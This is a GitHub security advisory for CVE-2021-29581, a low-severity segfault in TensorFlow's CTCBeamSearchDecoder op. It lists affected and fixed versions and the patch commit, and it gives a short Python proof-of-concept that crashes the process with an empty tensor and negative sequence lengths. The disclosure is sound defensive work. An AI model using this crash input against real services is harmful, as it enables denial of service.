GitHub Advisoryadvisory · PyPI
GHSA-vq2r-5xvm-3hc3 Segfault in `CTCBeamSearchDecoder`
LOW
Official page ↗
- Aliases
- CVE-2021-29581
- Ecosystem
- PyPI
- Packages
- tensorflow, tensorflow-cpu, tensorflow-gpu
- Severity
- Low
- CVSS vector
- CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:N/I:N/A:L
- Weaknesses
- CWE-908
- Reviewed
- 2021-05-18
Affected packages
• PyPI tensorflow: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-cpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-cpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-cpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-cpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
• PyPI tensorflow-gpu: < 2.1.4 → fixed in 2.1.4
• PyPI tensorflow-gpu: >= 2.2.0, < 2.2.3 → fixed in 2.2.3
• PyPI tensorflow-gpu: >= 2.3.0, < 2.3.3 → fixed in 2.3.3
• PyPI tensorflow-gpu: >= 2.4.0, < 2.4.2 → fixed in 2.4.2
Description
Impact
Due to lack of validation in `tf.raw_ops.CTCBeamSearchDecoder`, an attacker can trigger denial of service via segmentation faults:
```python
import tensorflow as tf
inputs = tf.constant([], shape=[18, 8, 0], dtype=tf.float32)
sequence_length = tf.constant([11, -43, -92, 11, -89, -83, -35, -100],
shape=[8], dtype=tf.int32)
beam_width = 10
top_paths = 3
merge_repeated = True
tf.raw_ops.CTCBeamSearchDecoder(
inputs=inputs, sequence_length=sequence_length, beam_width=beam_width,
top_paths=top_paths, merge_repeated=merge_repeated)
```
The implementation fails to detect cases when the input tensor is empty and proceeds to read data from a null buffer.
Patches
We have patched the issue in GitHub commit b1b323042264740c398140da32e93fb9c2c9f33e.
The fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.
For more information
Please consult our security guide for more information regarding the security model and how to contact us with issues and questions.
Attribution
This vulnerability has been reported by Yakun Zhang and Ying Wang of Baidu X-Team.
Related
Alias · CVE (1)
- CVE-2021-29581 TensorFlow is an end-to-end open source platform for machine learning. vulnerability
Weakness · CWE (1)
- CWE-908 Use of Uninitialized Resource weakness
References
- https://github.com/tensorflow/tensorflow/security/advisories/GHSA-vq2r-5xvm-3hc3 web
- https://nvd.nist.gov/vuln/detail/CVE-2021-29581 advisory
- https://github.com/tensorflow/tensorflow/commit/b1b323042264740c398140da32e93fb9c2c9f33e web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-cpu/PYSEC-2021-509.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow-gpu/PYSEC-2021-707.yaml web
- https://github.com/pypa/advisory-database/tree/main/vulns/tensorflow/PYSEC-2021-218.yaml web
- https://github.com/tensorflow/tensorflow package